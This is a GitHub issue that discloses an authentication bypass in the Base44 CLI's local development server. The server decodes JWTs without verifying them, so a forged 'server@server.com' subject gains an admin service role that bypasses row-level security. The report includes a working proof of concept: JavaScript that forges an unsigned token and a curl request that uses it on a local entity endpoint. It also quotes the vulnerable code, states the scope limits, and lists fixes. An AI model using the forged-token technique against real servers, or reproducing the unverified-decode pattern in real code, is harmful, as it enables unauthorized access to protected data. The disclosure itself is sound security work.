Skip to content

[Bug]: Local dev server trusts unverified JWT claims as service role #633

Description

@28Hus

Description

Local dev server trusts unverified JWT claims as service role

Hello maintainers,

Please review the following authentication issue in the Base44 CLI.

Summary

base44 dev accepts JWT claims without verifying the JWT signature.

An attacker who can reach the local development server can submit a forged token containing:

{
  "sub": "server@server.com"
}

The server resolves this subject to a built-in administrator service user and bypasses all local RLS checks.

This is a real local authentication bypass, but it does not affect the hosted Base44 production backend.

Severity: Low / P3 — local access required
CWE: CWE-347 — Improper Verification of Cryptographic Signature
Affected component: base44 dev local backend
Reviewed commit: 3059fbafb8c71555ad42507bea4fe2c2d9453ec0

Root cause

The repository contains the hardcoded JWT secret:

const LOCAL_DEV_SECRET = "LOCAL_DEV_SECRET";

The value is used to mint local JWTs:

return jwt.sign({ sub: email }, LOCAL_DEV_SECRET, {
  expiresIn: "360d",
});

Source: tokens.ts#L1-L15

However, knowledge of this secret is not required for exploitation. The authentication layer calls jwt.decode() instead of jwt.verify():

const decoded = jwt.decode(auth.replace("Bearer ", ""), {
  complete: true,
});

Source: current-user.ts#L40-L75

When the decoded subject equals server@server.com, the application returns a hardcoded service user:

const SERVICE_USER = {
  id: "service-role",
  email: "server@server.com",
  role: "admin",
  is_service: true,
};

Source: current-user.ts#L20-L26

The RLS implementation grants unconditional access to this user:

if (user?.is_service === true) return true;

Source: rls.ts#L145-L161

Impact

A local attacker can forge the JWT payload and obtain the service-role identity.

This allows unauthorized local access to entity operations, including:

  • Reading records protected by RLS
  • Creating records despite create: false
  • Updating records protected by RLS
  • Deleting records protected by RLS
  • Accessing the local User entity as an administrator

The repository’s own test confirms that service-role tokens bypass denied RLS rules and can create, read, and delete protected entities:

Source: dev.spec.ts#L371-L443

Proof of concept

The following code creates a token with an invalid signature. The hardcoded secret is intentionally not used:

const encode = (value) =>
  Buffer.from(JSON.stringify(value)).toString("base64url");

const forgedToken = [
  encode({ alg: "HS256", typ: "JWT" }),
  encode({ sub: "server@server.com" }),
  "invalid-signature",
].join(".");

console.log(forgedToken);

Against a running local development server:

curl -X POST \
  "http://127.0.0.1:4400/api/apps/<APP_ID>/entities/PrivateNote" \
  -H "Authorization: Bearer <FORGED_TOKEN>" \
  -H "X-App-Id: <APP_ID>" \
  -H "Content-Type: application/json" \
  --data '{"title":"unauthorized"}'

For an entity configured with create: false and read: false, the forged token is treated as the service user because the signature is never verified.

Scope limitation

The server is explicitly a local development server:

const s = app.listen(port, "127.0.0.1", callback);

Source: main.ts#L185-L201

base44 dev --remote does not start this local backend. It serves the frontend against the published production application:

Source: dev.ts#L91-L157

Therefore, this issue does not provide remote access to hosted Base44 applications. The attacker must already be able to access the victim’s local machine or loopback port.

Remediation

  1. Replace jwt.decode() with jwt.verify() and explicitly restrict the accepted algorithm.
  2. Do not grant service privileges solely because the caller-controlled JWT contains sub: "server@server.com".
  3. Inject service authorization through an internal server-only channel that cannot be supplied by ordinary local requests.
  4. Add a regression test proving that incorrectly signed and unsigned service-role tokens are rejected.
  5. Replace LOCAL_DEV_SECRET with a per-process high-entropy secret. This is defense in depth and does not fix the current issue by itself.

Related works

This finding is part of my ongoing security research. If you have any questions about this report, please feel free to tag or contact me at any time. I would be genuinely pleased to contribute, even in a small way, to improving the security of Base44.

Steps to Reproduce

No response

Expected Behavior

No response

Actual Behavior

No response

Environment

  • OS:
  • Node.js version:
  • CLI version:

Error Logs

Additional Context

No response

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions